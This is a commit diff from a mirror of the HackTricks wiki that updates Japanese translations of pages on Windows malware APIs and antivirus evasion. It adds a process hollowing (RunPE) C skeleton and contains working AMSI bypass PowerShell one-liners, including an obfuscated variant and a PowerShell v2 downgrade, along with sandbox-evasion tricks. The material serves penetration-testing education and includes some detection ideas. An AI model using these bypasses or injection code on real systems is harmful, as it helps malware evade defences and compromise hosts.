mirror of
				https://github.com/HackTricks-wiki/hacktricks.git
				synced 2025-10-10 18:36:50 +00:00 
			
		
		
		
	Translated ['src/reversing/common-api-used-in-malware.md', 'src/windows-
This commit is contained in:
		
							parent
							
								
									4c863806d5
								
							
						
					
					
						commit
						8120b3d0da
					
				@ -19,7 +19,7 @@
 | 
			
		||||
 | 
			
		||||
### 永続性
 | 
			
		||||
 | 
			
		||||
| Registry         | File          | Service                      |
 | 
			
		||||
| レジストリ         | ファイル          | サービス                      |
 | 
			
		||||
| ---------------- | ------------- | ---------------------------- |
 | 
			
		||||
| RegCreateKeyEx() | GetTempPath() | OpenSCManager                |
 | 
			
		||||
| RegOpenKeyEx()   | CopyFile()    | CreateService()              |
 | 
			
		||||
@ -29,7 +29,7 @@
 | 
			
		||||
 | 
			
		||||
### 暗号化
 | 
			
		||||
 | 
			
		||||
| Name                  |
 | 
			
		||||
| 名前                  |
 | 
			
		||||
| --------------------- |
 | 
			
		||||
| WinCrypt              |
 | 
			
		||||
| CryptAcquireContext() |
 | 
			
		||||
@ -38,34 +38,34 @@
 | 
			
		||||
| CryptDecrypt()        |
 | 
			
		||||
| CryptReleaseContext() |
 | 
			
		||||
 | 
			
		||||
### 逆解析/VM
 | 
			
		||||
### 解析防止/VM
 | 
			
		||||
 | 
			
		||||
| Function Name                                             | Assembly Instructions |
 | 
			
		||||
| --------------------------------------------------------- | --------------------- |
 | 
			
		||||
| IsDebuggerPresent()                                       | CPUID()               |
 | 
			
		||||
| GetSystemInfo()                                           | IN()                  |
 | 
			
		||||
| GlobalMemoryStatusEx()                                    |                       |
 | 
			
		||||
| GetVersion()                                              |                       |
 | 
			
		||||
| 関数名                                             | アセンブリ命令 |
 | 
			
		||||
| --------------------------------------------------- | --------------------- |
 | 
			
		||||
| IsDebuggerPresent()                                   | CPUID()               |
 | 
			
		||||
| GetSystemInfo()                                      | IN()                  |
 | 
			
		||||
| GlobalMemoryStatusEx()                               |                       |
 | 
			
		||||
| GetVersion()                                         |                       |
 | 
			
		||||
| CreateToolhelp32Snapshot \[プロセスが実行中か確認] |                       |
 | 
			
		||||
| CreateFileW/A \[ファイルの存在確認]                    |                       |
 | 
			
		||||
| CreateFileW/A \[ファイルの存在を確認]                |                       |
 | 
			
		||||
 | 
			
		||||
### ステルス
 | 
			
		||||
 | 
			
		||||
| Name                     |                                                                            |
 | 
			
		||||
| 名前                     |                                                                            |
 | 
			
		||||
| ------------------------ | -------------------------------------------------------------------------- |
 | 
			
		||||
| VirtualAlloc             | メモリを割り当てる (packers)                                               |
 | 
			
		||||
| VirtualProtect           | メモリの権限を変更する (packerがセクションに実行権限を与える)               |
 | 
			
		||||
| ReadProcessMemory        | 外部プロセスへの注入                                                      |
 | 
			
		||||
| WriteProcessMemoryA/W    | 外部プロセスへの注入                                                      |
 | 
			
		||||
| VirtualAlloc             | メモリを割り当てる (パッカー)                                             |
 | 
			
		||||
| VirtualProtect           | メモリの権限を変更する (パッカーがセクションに実行権限を与える)         |
 | 
			
		||||
| ReadProcessMemory        | 外部プロセスへの注入                                                    |
 | 
			
		||||
| WriteProcessMemoryA/W    | 外部プロセスへの注入                                                    |
 | 
			
		||||
| NtWriteVirtualMemory     |                                                                            |
 | 
			
		||||
| CreateRemoteThread       | DLL/プロセス注入...                                                       |
 | 
			
		||||
| CreateRemoteThread       | DLL/プロセス注入...                                                     |
 | 
			
		||||
| NtUnmapViewOfSection     |                                                                            |
 | 
			
		||||
| QueueUserAPC             |                                                                            |
 | 
			
		||||
| CreateProcessInternalA/W |                                                                            |
 | 
			
		||||
 | 
			
		||||
### 実行
 | 
			
		||||
 | 
			
		||||
| Function Name    |
 | 
			
		||||
| 関数名    |
 | 
			
		||||
| ---------------- |
 | 
			
		||||
| CreateProcessA/W |
 | 
			
		||||
| ShellExecute     |
 | 
			
		||||
@ -118,22 +118,76 @@ DLLはプロセス内にマッピングされ、インポートアドレスを
 | 
			
		||||
 | 
			
		||||
ポータブル実行注入: 実行可能ファイルは被害者プロセスのメモリに書き込まれ、そこから実行される。
 | 
			
		||||
 | 
			
		||||
### プロセスホロウイング
 | 
			
		||||
### プロセスホロウイング (別名 **RunPE**)
 | 
			
		||||
 | 
			
		||||
`Process Hollowing` はWindowsマルウェアによって使用されるお気に入りの**防御回避/実行**トリックの一つです。アイデアは、**一時停止**状態で*正当な*プロセスを起動し、その元のイメージをメモリから削除(ホロウ)し、**任意のPE**をその場所にコピーすることです。プライマリスレッドが最終的に再開されると、悪意のあるエントリポイントが信頼されたバイナリのふりをして実行されます(しばしばMicrosoftによって署名されています)。
 | 
			
		||||
 | 
			
		||||
典型的なワークフロー:
 | 
			
		||||
 | 
			
		||||
1. 無害なホストを生成する (例: `RegAsm.exe`, `rundll32.exe`, `msbuild.exe`) **一時停止**して、まだ命令が実行されないようにします。
 | 
			
		||||
```c
 | 
			
		||||
STARTUPINFOA  si = { sizeof(si) };
 | 
			
		||||
PROCESS_INFORMATION pi;
 | 
			
		||||
CreateProcessA("C:\\Windows\\Microsoft.NET\\Framework32\\v4.0.30319\\RegAsm.exe",
 | 
			
		||||
NULL, NULL, NULL, FALSE, CREATE_SUSPENDED, NULL, NULL, &si, &pi);
 | 
			
		||||
```
 | 
			
		||||
2. 悪意のあるペイロードをメモリに読み込み、そのPEヘッダーを解析して`SizeOfImage`、セクション、新しい`EntryPoint`を取得します。
 | 
			
		||||
3. **NtUnmapViewOfSection** / **ZwUnmapViewOfSection** – 一時停止されたプロセスの元のイメージベースをアンマップします。
 | 
			
		||||
4. **VirtualAllocEx** – リモートプロセス内に`SizeOfImage`のRWXメモリを予約します。
 | 
			
		||||
5. **WriteProcessMemory** – 最初に`Headers`をコピーし、その後セクションを反復して生データをコピーします。
 | 
			
		||||
6. **SetThreadContext** – コンテキスト構造内の`EAX/RAX`(x64では`RCX`)または`Rip`の値をパッチして、`EIP`がペイロードの`EntryPoint`を指すようにします。
 | 
			
		||||
7. **ResumeThread** – スレッドが続行し、攻撃者が提供したコードを実行します。
 | 
			
		||||
 | 
			
		||||
最小限の概念実証 (x86) スケルトン:
 | 
			
		||||
```c
 | 
			
		||||
void RunPE(LPCSTR host, LPVOID payload, DWORD payloadSize){
 | 
			
		||||
// 1. create suspended process
 | 
			
		||||
STARTUPINFOA si = {sizeof(si)}; PROCESS_INFORMATION pi;
 | 
			
		||||
CreateProcessA(host, NULL,NULL,NULL,FALSE,CREATE_SUSPENDED,NULL,NULL,&si,&pi);
 | 
			
		||||
 | 
			
		||||
// 2. read remote PEB to get ImageBaseAddress
 | 
			
		||||
CONTEXT ctx; ctx.ContextFlags = CONTEXT_FULL;
 | 
			
		||||
GetThreadContext(pi.hThread,&ctx);
 | 
			
		||||
PVOID baseAddr;
 | 
			
		||||
ReadProcessMemory(pi.hProcess,(PVOID)(ctx.Ebx+8),&baseAddr,4,NULL);
 | 
			
		||||
 | 
			
		||||
// 3. unmap original image & allocate new region at same base
 | 
			
		||||
NtUnmapViewOfSection(pi.hProcess,baseAddr);
 | 
			
		||||
PVOID newBase = VirtualAllocEx(pi.hProcess,baseAddr,pHdr->OptionalHeader.SizeOfImage,
 | 
			
		||||
MEM_COMMIT|MEM_RESERVE,PAGE_EXECUTE_READWRITE);
 | 
			
		||||
// 4-5. copy headers & sections …
 | 
			
		||||
// 6. write new image base into PEB and set Eip
 | 
			
		||||
WriteProcessMemory(pi.hProcess,(PVOID)(ctx.Ebx+8),&baseAddr,4,NULL);
 | 
			
		||||
ctx.Eax = (DWORD)(newBase) + pHdr->OptionalHeader.AddressOfEntryPoint;
 | 
			
		||||
SetThreadContext(pi.hThread,&ctx);
 | 
			
		||||
// 7. run!
 | 
			
		||||
ResumeThread(pi.hThread);
 | 
			
		||||
}
 | 
			
		||||
```
 | 
			
		||||
実践的なメモが**DarkCloud Stealer**キャンペーンで観察されました:
 | 
			
		||||
 | 
			
		||||
* ローダーはホストとして`RegAsm.exe`(.NET Frameworkの一部)を選択しました - 注意を引く可能性の低い署名されたバイナリです。
 | 
			
		||||
* 復号されたVB6スティーラー(`holographies.exe`)はディスクにドロップされず、常に空洞化されたプロセス内に存在するため、静的検出が難しくなります。
 | 
			
		||||
* 敏感な文字列(正規表現、パス、Telegramの資格情報)は、各文字列ごとに**RC4暗号化**され、実行時にのみ復号されるため、メモリスキャンがさらに複雑になります。
 | 
			
		||||
 | 
			
		||||
検出アイデア:
 | 
			
		||||
* メモリ領域が**RWX**として割り当てられる前にGUI/コンソールウィンドウを作成しない`CREATE_SUSPENDED`プロセスに警告を出します(善良なコードでは稀です)。
 | 
			
		||||
* 異なるプロセス間での呼び出しシーケンス`NtUnmapViewOfSection ➜ VirtualAllocEx ➜ WriteProcessMemory`を探します。
 | 
			
		||||
 | 
			
		||||
マルウェアはプロセスのメモリから正当なコードをアンマップし、悪意のあるバイナリをロードする
 | 
			
		||||
 | 
			
		||||
1. 新しいプロセスを作成する: CreateProcess
 | 
			
		||||
2. メモリをアンマップする: ZwUnmapViewOfSection, NtUnmapViewOfSection
 | 
			
		||||
3. プロセスメモリに悪意のあるバイナリを書く: VirtualAllocEc, WriteProcessMemory
 | 
			
		||||
4. エントリポイントを設定し、実行する: SetThreadContext, ResumeThread
 | 
			
		||||
 | 
			
		||||
## フック
 | 
			
		||||
 | 
			
		||||
- **SSDT** (**System Service Descriptor Table**) はカーネル関数 (ntoskrnl.exe) またはGUIドライバ (win32k.sys) を指し示し、ユーザープロセスがこれらの関数を呼び出せるようにする。
 | 
			
		||||
- ルートキットはこれらのポインタを制御するアドレスに変更することができる。
 | 
			
		||||
- **IRP** (**I/O Request Packets**) はデータの断片を一つのコンポーネントから別のコンポーネントに送信する。カーネル内のほぼすべてのものがIRPを使用し、各デバイスオブジェクトにはフック可能な独自の関数テーブルがある: DKOM (Direct Kernel Object Manipulation)
 | 
			
		||||
- **IAT** (**Import Address Table**) は依存関係を解決するのに役立つ。このテーブルをフックして呼び出されるコードをハイジャックすることが可能である。
 | 
			
		||||
- **EAT** (**Export Address Table**) フック。このフックは**ユーザーランド**から行うことができる。目的はDLLによってエクスポートされた関数をフックすることである。
 | 
			
		||||
- **インラインフック**: このタイプは達成が難しい。これは関数自体のコードを修正することを含む。おそらく、最初にジャンプを置くことによって。
 | 
			
		||||
- **SSDT**(**System Service Descriptor Table**)はカーネル関数(ntoskrnl.exe)またはGUIドライバ(win32k.sys)を指し示し、ユーザープロセスがこれらの関数を呼び出すことができます。
 | 
			
		||||
- ルートキットは、制御するアドレスへのポインタを変更することがあります。
 | 
			
		||||
- **IRP**(**I/O Request Packets**)は、コンポーネント間でデータの断片を送信します。カーネル内のほぼすべてのものがIRPを使用し、各デバイスオブジェクトにはフック可能な独自の関数テーブルがあります:DKOM(Direct Kernel Object Manipulation)
 | 
			
		||||
- **IAT**(**Import Address Table**)は依存関係を解決するのに役立ちます。このテーブルをフックして、呼び出されるコードをハイジャックすることが可能です。
 | 
			
		||||
- **EAT**(**Export Address Table**)フック。このフックは**ユーザーランド**から行うことができます。目的はDLLによってエクスポートされた関数をフックすることです。
 | 
			
		||||
- **インラインフック**:このタイプは達成が難しいです。これは関数自体のコードを修正することを含みます。おそらく、最初にジャンプを置くことによってです。
 | 
			
		||||
 | 
			
		||||
 | 
			
		||||
## 参考文献
 | 
			
		||||
 | 
			
		||||
- [Unit42 – New Infection Chain and ConfuserEx-Based Obfuscation for DarkCloud Stealer](https://unit42.paloaltonetworks.com/new-darkcloud-stealer-infection-chain/)
 | 
			
		||||
 | 
			
		||||
{{#include ../banners/hacktricks-training.md}}
 | 
			
		||||
 | 
			
		||||
@ -16,11 +16,11 @@
 | 
			
		||||
 | 
			
		||||
### **静的検出**
 | 
			
		||||
 | 
			
		||||
静的検出は、バイナリやスクリプト内の既知の悪意のある文字列やバイト配列にフラグを立てることによって達成され、ファイル自体から情報を抽出することも含まれます(例:ファイルの説明、会社名、デジタル署名、アイコン、チェックサムなど)。これは、既知の公開ツールを使用すると、分析されて悪意のあるものとしてフラグが立てられている可能性が高いため、簡単に捕まる可能性があることを意味します。この種の検出を回避する方法はいくつかあります:
 | 
			
		||||
静的検出は、バイナリやスクリプト内の既知の悪意のある文字列やバイト配列にフラグを立てたり、ファイル自体から情報を抽出したりすることで達成されます(例:ファイルの説明、会社名、デジタル署名、アイコン、チェックサムなど)。これは、既知の公開ツールを使用すると、分析されて悪意のあるものとしてフラグが立てられている可能性が高いため、簡単に捕まる可能性があることを意味します。この種の検出を回避する方法はいくつかあります:
 | 
			
		||||
 | 
			
		||||
- **暗号化**
 | 
			
		||||
 | 
			
		||||
バイナリを暗号化すると、AVがプログラムを検出する方法はなくなりますが、メモリ内でプログラムを復号化して実行するためのローダーが必要になります。
 | 
			
		||||
バイナリを暗号化すれば、AVがプログラムを検出する方法はなくなりますが、メモリ内でプログラムを復号化して実行するためのローダーが必要になります。
 | 
			
		||||
 | 
			
		||||
- **難読化**
 | 
			
		||||
 | 
			
		||||
@ -28,20 +28,20 @@
 | 
			
		||||
 | 
			
		||||
- **カスタムツール**
 | 
			
		||||
 | 
			
		||||
独自のツールを開発すれば、既知の悪いシグネチャは存在しませんが、これには多くの時間と労力がかかります。
 | 
			
		||||
独自のツールを開発すれば、既知の悪意のあるシグネチャは存在しませんが、これには多くの時間と労力がかかります。
 | 
			
		||||
 | 
			
		||||
> [!TIP]
 | 
			
		||||
> Windows Defenderの静的検出に対抗する良い方法は、[ThreatCheck](https://github.com/rasta-mouse/ThreatCheck)です。これは基本的にファイルを複数のセグメントに分割し、Defenderにそれぞれを個別にスキャンさせることで、バイナリ内のフラグが立てられた文字列やバイトを正確に教えてくれます。
 | 
			
		||||
> Windows Defenderの静的検出に対抗する良い方法は[ThreatCheck](https://github.com/rasta-mouse/ThreatCheck)です。これは基本的にファイルを複数のセグメントに分割し、Defenderにそれぞれを個別にスキャンさせることで、バイナリ内のフラグが立てられた文字列やバイトを正確に教えてくれます。
 | 
			
		||||
 | 
			
		||||
実践的なAV回避に関するこの[YouTubeプレイリスト](https://www.youtube.com/playlist?list=PLj05gPj8rk_pkb12mDe4PgYZ5qPxhGKGf)をぜひチェックしてください。
 | 
			
		||||
この[YouTubeプレイリスト](https://www.youtube.com/playlist?list=PLj05gPj8rk_pkb12mDe4PgYZ5qPxhGKGf)をチェックすることを強くお勧めします。
 | 
			
		||||
 | 
			
		||||
### **動的分析**
 | 
			
		||||
 | 
			
		||||
動的分析は、AVがバイナリをサンドボックス内で実行し、悪意のある活動を監視することです(例:ブラウザのパスワードを復号化して読み取ろうとする、LSASSのミニダンプを実行するなど)。この部分は扱いが少し難しいですが、サンドボックスを回避するためにできることはいくつかあります。
 | 
			
		||||
動的分析は、AVがバイナリをサンドボックス内で実行し、悪意のある活動を監視することです(例:ブラウザのパスワードを復号化して読み取ろうとする、LSASSのミニダンプを実行するなど)。この部分は扱いが少し難しいことがありますが、サンドボックスを回避するためにできることはいくつかあります。
 | 
			
		||||
 | 
			
		||||
- **実行前のスリープ** 実装方法によっては、AVの動的分析を回避するための素晴らしい方法になることがあります。AVはユーザーの作業フローを中断しないようにファイルをスキャンするための時間が非常に短いため、長いスリープを使用するとバイナリの分析を妨げることができます。ただし、多くのAVのサンドボックスは、実装方法によってはスリープをスキップすることができます。
 | 
			
		||||
- **マシンのリソースをチェック** 通常、サンドボックスは扱えるリソースが非常に少ない(例:< 2GB RAM)ため、ユーザーのマシンを遅くすることはできません。ここでは非常にクリエイティブになることもできます。たとえば、CPUの温度やファンの速度をチェックすることで、すべてがサンドボックスに実装されているわけではありません。
 | 
			
		||||
- **マシン固有のチェック** "contoso.local"ドメインに参加しているユーザーをターゲットにしたい場合は、コンピュータのドメインをチェックして指定したものと一致するか確認できます。一致しない場合は、プログラムを終了させることができます。
 | 
			
		||||
- **実行前のスリープ** 実装方法によっては、AVの動的分析を回避するための素晴らしい方法になることがあります。AVはユーザーの作業フローを中断しないようにファイルをスキャンするための時間が非常に短いため、長いスリープを使用することでバイナリの分析を妨げることができます。ただし、多くのAVのサンドボックスは、実装方法によってはスリープをスキップすることができます。
 | 
			
		||||
- **マシンのリソースをチェック** 通常、サンドボックスは扱えるリソースが非常に少ない(例:< 2GB RAM)ため、ユーザーのマシンを遅くすることはできません。ここでは非常にクリエイティブになることもできます。たとえば、CPUの温度やファンの速度をチェックすることで、すべてがサンドボックス内で実装されているわけではありません。
 | 
			
		||||
- **マシン固有のチェック** "contoso.local"ドメインに参加しているユーザーをターゲットにしたい場合は、コンピュータのドメインをチェックして指定したものと一致するかどうかを確認できます。一致しない場合は、プログラムを終了させることができます。
 | 
			
		||||
 | 
			
		||||
Microsoft Defenderのサンドボックスのコンピュータ名はHAL9THであるため、爆発前にマルウェア内でコンピュータ名をチェックできます。名前がHAL9THと一致する場合、Defenderのサンドボックス内にいることを意味するため、プログラムを終了させることができます。
 | 
			
		||||
 | 
			
		||||
@ -51,14 +51,14 @@ Microsoft Defenderのサンドボックスのコンピュータ名はHAL9THで
 | 
			
		||||
 | 
			
		||||
<figure><img src="../images/image (248).png" alt=""><figcaption><p><a href="https://discord.com/servers/red-team-vx-community-1012733841229746240">Red Team VX Discord</a> #malware-dev チャンネル</p></figcaption></figure>
 | 
			
		||||
 | 
			
		||||
この投稿で以前に述べたように、**公開ツール**は最終的に**検出される**ため、次のことを自問する必要があります:
 | 
			
		||||
この投稿で以前に述べたように、**公開ツール**は最終的に**検出される**ため、自分自身に何かを尋ねるべきです:
 | 
			
		||||
 | 
			
		||||
たとえば、LSASSをダンプしたい場合、**本当にmimikatzを使用する必要がありますか**?それとも、LSASSをダンプする別のあまり知られていないプロジェクトを使用できますか。
 | 
			
		||||
 | 
			
		||||
正しい答えはおそらく後者です。mimikatzを例に取ると、これはおそらくAVやEDRによって最もフラグが立てられたマルウェアの一つであり、プロジェクト自体は非常にクールですが、AVを回避するためにそれを扱うのは悪夢です。したがって、達成しようとしていることの代替手段を探してください。
 | 
			
		||||
 | 
			
		||||
> [!TIP]
 | 
			
		||||
> 回避のためにペイロードを変更する際は、Defenderで**自動サンプル送信をオフにする**ことを確認し、長期的に回避を達成することが目標である場合は、**絶対にVIRUSTOTALにアップロードしないでください**。特定のAVによってペイロードが検出されるかどうかを確認したい場合は、VMにインストールし、自動サンプル送信をオフにし、結果に満足するまでそこでテストしてください。
 | 
			
		||||
> 回避のためにペイロードを変更する際は、Defenderで**自動サンプル送信をオフにする**ことを確認してください。そして、長期的に回避を達成することが目標である場合は、**VIRUSTOTALにアップロードしないでください**。特定のAVによってペイロードが検出されるかどうかを確認したい場合は、VMにインストールし、自動サンプル送信をオフにし、結果に満足するまでそこでテストしてください。
 | 
			
		||||
 | 
			
		||||
## EXEとDLL
 | 
			
		||||
 | 
			
		||||
@ -85,9 +85,9 @@ C:\Users\user\Desktop\Siofra64.exe --mode file-scan --enum-dependency --dll-hija
 | 
			
		||||
 | 
			
		||||
私はあなたが**DLLハイジャック可能/サイドロード可能なプログラムを自分で調査することを強くお勧めします**。この技術は適切に行えば非常にステルス性がありますが、一般に知られているDLLサイドロード可能なプログラムを使用すると、簡単に捕まる可能性があります。
 | 
			
		||||
 | 
			
		||||
悪意のあるDLLをプログラムが読み込むことを期待する名前で配置するだけでは、ペイロードは読み込まれません。プログラムはそのDLL内に特定の関数を期待しているためです。この問題を解決するために、**DLLプロキシング/フォワーディング**という別の技術を使用します。
 | 
			
		||||
悪意のあるDLLをプログラムが読み込むことを期待する名前で配置するだけでは、ペイロードは読み込まれません。プログラムはそのDLL内に特定の関数を期待しているため、この問題を解決するために、**DLLプロキシ/フォワーディング**という別の技術を使用します。
 | 
			
		||||
 | 
			
		||||
**DLLプロキシング**は、プログラムがプロキシ(および悪意のある)DLLから元のDLLに対して行う呼び出しを転送し、プログラムの機能を保持しつつ、ペイロードの実行を処理できるようにします。
 | 
			
		||||
**DLLプロキシ**は、プログラムがプロキシ(および悪意のある)DLLから元のDLLに行う呼び出しを転送し、プログラムの機能を保持しつつ、ペイロードの実行を処理できるようにします。
 | 
			
		||||
 | 
			
		||||
私は[@flangvik](https://twitter.com/Flangvik/)の[SharpDLLProxy](https://github.com/Flangvik/SharpDllProxy)プロジェクトを使用します。
 | 
			
		||||
 | 
			
		||||
@ -111,7 +111,7 @@ C:\Users\user\Desktop\Siofra64.exe --mode file-scan --enum-dependency --dll-hija
 | 
			
		||||
<figure><img src="../images/image (193).png" alt=""><figcaption></figcaption></figure>
 | 
			
		||||
 | 
			
		||||
> [!TIP]
 | 
			
		||||
> 私は**強く推奨**します、DLLサイドローディングについての[S3cur3Th1sSh1tのtwitch VOD](https://www.twitch.tv/videos/1644171543)を視聴し、さらに私たちがより深く議論したことを学ぶために[ippsecのビデオ](https://www.youtube.com/watch?v=3eROsG_WNpE)も見てください。
 | 
			
		||||
> 私は**強くお勧め**します、DLLサイドローディングについての[S3cur3Th1sSh1tのtwitch VOD](https://www.twitch.tv/videos/1644171543)を視聴し、さらに私たちがより深く議論したことを学ぶために[ippsecのビデオ](https://www.youtube.com/watch?v=3eROsG_WNpE)もご覧ください。
 | 
			
		||||
 | 
			
		||||
## [**Freeze**](https://github.com/optiv/Freeze)
 | 
			
		||||
 | 
			
		||||
@ -131,12 +131,12 @@ Git clone the Freeze repo and build it (git clone https://github.com/optiv/Freez
 | 
			
		||||
 | 
			
		||||
## AMSI (アンチマルウェアスキャンインターフェース)
 | 
			
		||||
 | 
			
		||||
AMSIは「[ファイルレスマルウェア](https://en.wikipedia.org/wiki/Fileless_malware)」を防ぐために作成されました。最初は、AVは**ディスク上のファイル**のみをスキャンできたため、ペイロードを**直接メモリ内で**実行できれば、AVはそれを防ぐための十分な可視性を持っていませんでした。
 | 
			
		||||
AMSIは「[ファイルレスマルウェア](https://en.wikipedia.org/wiki/Fileless_malware)」を防ぐために作成されました。最初は、AVは**ディスク上のファイル**のみをスキャンできたため、ペイロードを**直接メモリ内で実行**できれば、AVは何も防ぐことができませんでした。なぜなら、十分な可視性がなかったからです。
 | 
			
		||||
 | 
			
		||||
AMSI機能はWindowsのこれらのコンポーネントに統合されています。
 | 
			
		||||
 | 
			
		||||
- ユーザーアカウント制御、またはUAC(EXE、COM、MSI、またはActiveXインストールの昇格)
 | 
			
		||||
- PowerShell(スクリプト、対話的使用、および動的コード評価)
 | 
			
		||||
- PowerShell(スクリプト、対話型使用、および動的コード評価)
 | 
			
		||||
- Windows Script Host(wscript.exeおよびcscript.exe)
 | 
			
		||||
- JavaScriptおよびVBScript
 | 
			
		||||
- Office VBAマクロ
 | 
			
		||||
@ -147,7 +147,7 @@ AMSI機能はWindowsのこれらのコンポーネントに統合されていま
 | 
			
		||||
 | 
			
		||||
<figure><img src="../images/image (1135).png" alt=""><figcaption></figcaption></figure>
 | 
			
		||||
 | 
			
		||||
スクリプトが実行された実行可能ファイルへのパスの前に`amsi:`が付加されていることに注意してください。この場合、powershell.exeです。
 | 
			
		||||
スクリプトが実行された実行可能ファイルへのパスの前に`amsi:`が付加されていることに注意してください。この場合は、powershell.exeです。
 | 
			
		||||
 | 
			
		||||
ディスクにファイルを落とさなかったにもかかわらず、AMSIのためにメモリ内で捕まってしまいました。
 | 
			
		||||
 | 
			
		||||
@ -159,11 +159,11 @@ AMSIを回避する方法はいくつかあります:
 | 
			
		||||
 | 
			
		||||
AMSIは主に静的検出で機能するため、読み込もうとするスクリプトを変更することは、検出を回避する良い方法となる可能性があります。
 | 
			
		||||
 | 
			
		||||
ただし、AMSIは複数のレイヤーがあってもスクリプトを難読化解除する能力を持っているため、難読化の方法によっては悪い選択肢となる可能性があります。これにより、回避が簡単ではなくなります。ただし、時には変数名をいくつか変更するだけで済むこともあるため、どれだけフラグが立てられているかによります。
 | 
			
		||||
ただし、AMSIは複数のレイヤーがあってもスクリプトを難読化解除する能力があるため、難読化は行い方によっては悪い選択肢となる可能性があります。これにより、回避が簡単ではなくなります。ただし、時には変数名をいくつか変更するだけで済むこともあるため、どれだけフラグが立てられているかによります。
 | 
			
		||||
 | 
			
		||||
- **AMSIバイパス**
 | 
			
		||||
 | 
			
		||||
AMSIはDLLをpowershell(cscript.exe、wscript.exeなど)プロセスに読み込むことによって実装されているため、特権のないユーザーとして実行していても簡単に改ざんすることが可能です。このAMSIの実装の欠陥により、研究者たちはAMSIスキャンを回避するための複数の方法を見つけました。
 | 
			
		||||
AMSIはpowershell(またはcscript.exe、wscript.exeなど)プロセスにDLLをロードすることによって実装されているため、特権のないユーザーとして実行していても簡単に改ざんすることが可能です。このAMSIの実装の欠陥により、研究者たちはAMSIスキャンを回避するための複数の方法を見つけました。
 | 
			
		||||
 | 
			
		||||
**エラーを強制する**
 | 
			
		||||
 | 
			
		||||
@ -171,9 +171,9 @@ AMSIの初期化を失敗させる(amsiInitFailed)ことで、現在のプ
 | 
			
		||||
```bash
 | 
			
		||||
[Ref].Assembly.GetType('System.Management.Automation.AmsiUtils').GetField('amsiInitFailed','NonPublic,Static').SetValue($null,$true)
 | 
			
		||||
```
 | 
			
		||||
すべては、現在のpowershellプロセスでAMSIを無効にするための1行のpowershellコードだけで済みました。この行はもちろんAMSI自体によってフラグが立てられているため、この技術を使用するにはいくつかの修正が必要です。
 | 
			
		||||
1行のPowerShellコードで、現在のPowerShellプロセスに対してAMSIを無効にすることができました。この行はもちろんAMSI自体によってフラグが立てられているため、この技術を使用するにはいくつかの修正が必要です。
 | 
			
		||||
 | 
			
		||||
ここに、私がこの [Github Gist](https://gist.github.com/r00t-3xp10it/a0c6a368769eec3d3255d4814802b5db) から取った修正されたAMSIバイパスがあります。
 | 
			
		||||
こちらは、私がこの [Github Gist](https://gist.github.com/r00t-3xp10it/a0c6a368769eec3d3255d4814802b5db) から取った修正されたAMSIバイパスです。
 | 
			
		||||
```bash
 | 
			
		||||
Try{#Ams1 bypass technic nº 2
 | 
			
		||||
$Xdatabase = 'Utils';$Homedrive = 'si'
 | 
			
		||||
@ -187,6 +187,8 @@ $Spotfix = $SDcleanup.GetField($Rawdata,"$ComponentDeviceId,Static")
 | 
			
		||||
$Spotfix.SetValue($null,$true)
 | 
			
		||||
}Catch{Throw $_}
 | 
			
		||||
```
 | 
			
		||||
注意してください。この投稿が公開されると、おそらくフラグが立てられるので、検出されないことを計画している場合は、コードを公開しない方が良いでしょう。
 | 
			
		||||
 | 
			
		||||
**メモリパッチ**
 | 
			
		||||
 | 
			
		||||
この技術は最初に [@RastaMouse](https://twitter.com/_RastaMouse/) によって発見され、amsi.dll内の「AmsiScanBuffer」関数のアドレスを見つけ、それをE_INVALIDARGのコードを返す命令で上書きすることを含みます。これにより、実際のスキャンの結果は0を返し、これはクリーンな結果として解釈されます。
 | 
			
		||||
@ -196,18 +198,18 @@ $Spotfix.SetValue($null,$true)
 | 
			
		||||
 | 
			
		||||
また、PowerShellを使用してAMSIをバイパスするための他の多くの技術もあります。詳細については、[**このページ**](basic-powershell-for-pentesters/index.html#amsi-bypass)や[**このリポジトリ**](https://github.com/S3cur3Th1sSh1t/Amsi-Bypass-Powershell)をチェックしてください。
 | 
			
		||||
 | 
			
		||||
このツール [**https://github.com/Flangvik/AMSI.fail**](https://github.com/Flangvik/AMSI.fail) もAMSIをバイパスするスクリプトを生成します。
 | 
			
		||||
このツール[**https://github.com/Flangvik/AMSI.fail**](https://github.com/Flangvik/AMSI.fail)もAMSIをバイパスするスクリプトを生成します。
 | 
			
		||||
 | 
			
		||||
**検出された署名を削除する**
 | 
			
		||||
 | 
			
		||||
**[https://github.com/cobbr/PSAmsi](https://github.com/cobbr/PSAmsi)** や **[https://github.com/RythmStick/AMSITrigger](https://github.com/RythmStick/AMSITrigger)** のようなツールを使用して、現在のプロセスのメモリから検出されたAMSI署名を削除できます。このツールは、現在のプロセスのメモリをスキャンしてAMSI署名を見つけ、それをNOP命令で上書きすることによって、実質的にメモリから削除します。
 | 
			
		||||
**[https://github.com/cobbr/PSAmsi](https://github.com/cobbr/PSAmsi)**や**[https://github.com/RythmStick/AMSITrigger](https://github.com/RythmStick/AMSITrigger)**のようなツールを使用して、現在のプロセスのメモリから検出されたAMSI署名を削除できます。このツールは、現在のプロセスのメモリをスキャンしてAMSI署名を見つけ、それをNOP命令で上書きすることで、実質的にメモリから削除します。
 | 
			
		||||
 | 
			
		||||
**AMSIを使用するAV/EDR製品**
 | 
			
		||||
 | 
			
		||||
AMSIを使用するAV/EDR製品のリストは、**[https://github.com/subat0mik/whoamsi](https://github.com/subat0mik/whoamsi)** で見つけることができます。
 | 
			
		||||
AMSIを使用するAV/EDR製品のリストは、**[https://github.com/subat0mik/whoamsi](https://github.com/subat0mik/whoamsi)**で見つけることができます。
 | 
			
		||||
 | 
			
		||||
**PowerShellバージョン2を使用する**
 | 
			
		||||
PowerShellバージョン2を使用すると、AMSIはロードされないため、AMSIによるスキャンなしでスクリプトを実行できます。次のようにできます:
 | 
			
		||||
PowerShellバージョン2を使用すると、AMSIはロードされないため、AMSIによるスキャンなしでスクリプトを実行できます。これを行うことができます:
 | 
			
		||||
```bash
 | 
			
		||||
powershell.exe -version 2
 | 
			
		||||
```
 | 
			
		||||
@ -218,7 +220,7 @@ PowerShell ロギングは、システム上で実行されたすべての Power
 | 
			
		||||
PowerShell ロギングをバイパスするには、以下の技術を使用できます:
 | 
			
		||||
 | 
			
		||||
- **PowerShell トランスクリプションとモジュール ロギングを無効にする**: この目的のために、[https://github.com/leechristensen/Random/blob/master/CSharp/DisablePSLogging.cs](https://github.com/leechristensen/Random/blob/master/CSharp/DisablePSLogging.cs) のようなツールを使用できます。
 | 
			
		||||
- **PowerShell バージョン 2 を使用する**: PowerShell バージョン 2 を使用すると、AMSI が読み込まれないため、AMSI によるスキャンなしでスクリプトを実行できます。これを行うには: `powershell.exe -version 2`
 | 
			
		||||
